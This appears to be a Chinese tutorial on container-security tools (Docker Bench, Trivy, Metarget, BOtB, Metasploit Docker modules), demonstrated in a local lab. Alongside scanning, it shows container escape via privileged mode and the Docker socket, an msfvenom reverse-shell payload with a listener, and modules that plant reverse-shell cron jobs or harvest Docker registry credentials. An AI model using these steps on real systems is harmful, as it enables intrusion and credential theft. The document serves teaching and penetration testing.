《Java代码审计》 ![]() Docker-bench-securityDocker Bench for Security 是一个脚本,用于自动化检查在生产中部署 Docker 容器的数十种常见最佳实践,比如主机配置的安全性、Docker deamon配置的安全性、容器镜像和构建的安全性等。 项目地址 https://github.com/docker/docker-bench-security 使用测试 在主机上下载并执行自动化脚本 [code]git clone https://github.com/docker/docker-bench-security.git cd docker-bench-security sudo sh docker-bench-security.sh[/code]脚本自动化检测当前主机的容器安全性,并将检测到的信息输出到终端,对于检测到的不安全的内容,会以[warn]提示,并在最后给出测评的分数. ![]() 2. trivy简介 trivy是一个由asuz公司开源的简单而全面的扫描器,用于检测容器镜像、文件系统和 Git 存储库中的漏洞以及配置问题。 Trivy 检测操作系统包(Alpine、RHEL、CentOS 等)和特定语言包(Bundler、Composer、npm、yarn 等)的漏洞。此外,Trivy 会扫描基础设施即代码 (IaC) 文件,例如 Terraform、Dockerfile 和 Kubernetes,以检测使您的部署面临攻击风险的潜在配置问题。 项目地址 https://github.com/aquasecurity/trivy 使用测试 [code]wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz tar -zxvf trivy_0.21.2_Linux-64bit.tar.gz ./trivy image alpine:3.10.7[/code]![]() 3. Metarget简介 Metarget的名称来源于meta-(元)加target(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!。 项目地址 https://github.com/Metarget/metarget 使用测试
4. BOtB简介: BOtB是由Chris Le Roy开源的容器安全分析和脆弱点利用工具,使用go语言开发,它能够辅助环境探测,还能够利用CVE-2019-5736、Docker Socket或特权模式进行容器逃逸。还有识别K8s的密钥并使用、将数据推送到 S3 存储桶等功能 项目地址: https://github.com/brompwnie/botb 使用测试: [code]docker run -itd -v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu /bin/bash docker exec -it test2 /bin/bash apt update && apt install -y curl curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64" -o "botb-linux-amd64" \ && chmod +x botb-linux-amd64[/code]在容器中执行命令,使用特权模式进行容器逃逸 ![]() 利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell: ![]() 5. Metaspliot在metaspliot中搜索关于docker的模块有以下几种, [code]msf6 > search docker Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/gather/saltstack_salt_root_key 2020-04-30 normal No SaltStack Salt Master Server Root Key Disclosure 1 auxiliary/scanner/http/docker_version normal No Docker Server Version Scanner 2 exploit/linux/http/dcos_marathon 2017-03-03 excellent Yes DC/OS Marathon UI Docker Exploit 3 exploit/linux/http/docker_daemon_tcp 2017-07-25 excellent Yes Docker Daemon - Unprotected TCP Socket Exploit 4 exploit/linux/http/rancher_server 2017-07-27 excellent Yes Rancher Server - Docker Exploit 5 exploit/linux/local/docker_daemon_privilege_escalation 2016-06-28 excellent Yes Docker Daemon Privilege Escalation 6 exploit/linux/local/docker_privileged_container_escape 2019-07-17 normal Yes Docker Privileged Container Escape 7 exploit/linux/misc/saltstack_salt_unauth_rce 2020-04-30 great Yes SaltStack Salt Master/Minion Unauthenticated RCE 8 exploit/windows/local/docker_credential_wincred 2019-07-05 manual Yes Docker-Credential-Wincred.exe Privilege Escalation 9 post/linux/gather/checkcontainer normal No Linux Gather Container Detection 10 post/linux/gather/enum_containers normal No Linux Container Enumeration 11 post/multi/gather/docker_creds normal No Multi Gather Docker Credentials Collection Interact with a module by name or index. For example info 11, use 11 or use post/multi/gather/docker_creds [/code]5.1 exploit/multi/handler注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell: 在本地测试环境中,首先生成一个反弹shell: [code]msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1 lport=10000 -f elf -o reverse_shell[/code]然后创建容器把反弹shell放进去, [code]docker cp ./reverse_shell e51242b34b04:/[/code]接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter: [code]msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.21.130 LHOST => 192.168.21.130 msf6 exploit(multi/handler) > set LPORT 10000 LPORT => 10000 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.21.130:10000 [*] Sending stage (3008420 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (192.168.21.130:10000 -> 172.17.0.2:45290) at 2021-12-04 08:02:50 -0500 meterpreter > [/code]这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。 5.2 docker_version地址:https://github.com/rapid7/metas 功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。 原理:向Docker Daemon监听的2375端口发起请求。 限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。 实验: 在本地Docker测试环境中,先vi /usr/lib/systemd/system/docker.service修改 [Service]的ExecStart,增加 -H tcp://0.0.0.0:2375开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描: [code]msf6 > use auxiliary/scanner/http/docker_version msf6 auxiliary(scanner/http/docker_version) > show options Module options (auxiliary/scanner/http/docker_version): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 2375 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host msf6 auxiliary(scanner/http/docker_version) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 auxiliary(scanner/http/docker_version) > set VERBOSE true VERBOSE => true msf6 auxiliary(scanner/http/docker_version) > exploit [*] Identifying Docker Server Version on 127.0.0.1:2375 [+] [Docker Server] Version: 20.10.11 [*] All info: {"Platform"=>{"Name"=>"Docker Engine - Community"}, "Components"=>[{"Name"=>"Engine", "Version"=>"20.10.11", "Details"=>{"ApiVersion"=>"1.41", "Arch"=>"amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "KernelVersion"=>"5.10.0-kali3-amd64", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}, {"Name"=>"containerd", "Version"=>"1.4.12", "Details"=>{"GitCommit"=>"7b11cfaabd73bb80907dd23182b9347b4245eb5d"}}, {"Name"=>"runc", "Version"=>"1.0.2", "Details"=>{"GitCommit"=>"v1.0.2-0-g52b36a2"}}, {"Name"=>"docker-init", "Version"=>"0.19.0", "Details"=>{"GitCommit"=>"de40ad0"}}], "Version"=>"20.10.11", "ApiVersion"=>"1.41", "MinAPIVersion"=>"1.12", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"5.10.0-kali3-amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00"} [*] Saving host information. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed[/code]5.3 exploit/linux/http/docker_daemon_tcp地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb 功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。 原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。 限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。 实验:我们先开启Docker守护进程的TCP socket监听,然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可 ![]() 5.4 post/linux/gather/checkcontainer地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/checkcontainer.rb 功能:检测目标环境是否为容器。 原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。 限制:获得一个基础shell之后才能使用(后渗透阶段)。 实验:在Meterpreter中,执行该模块即可:run post/linux/gather/checkcontainer 5.5 post/linux/gather/enum_protections地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_protections.rb 功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。 原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下: [code]def aslr_enabled? aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip (aslr.eql?('1') || aslr.eql?('2')) rescue raise 'Could not determine ASLR status' end[/code]限制:获得一个基础shell之后才能使用(后渗透阶段)。 实验:在Meterpreter中,执行该模块即可: ![]() 5.6 post/multi/gather/docker_creds地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/gather/docker_creds.rb 功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。 原理:读取.docker/config.json文件。 限制:获得一个基础shell之后才能使用(后渗透阶段)。 实验:新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可,: ![]() 5.7 其他
免责声明:本内容来源于网络,如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |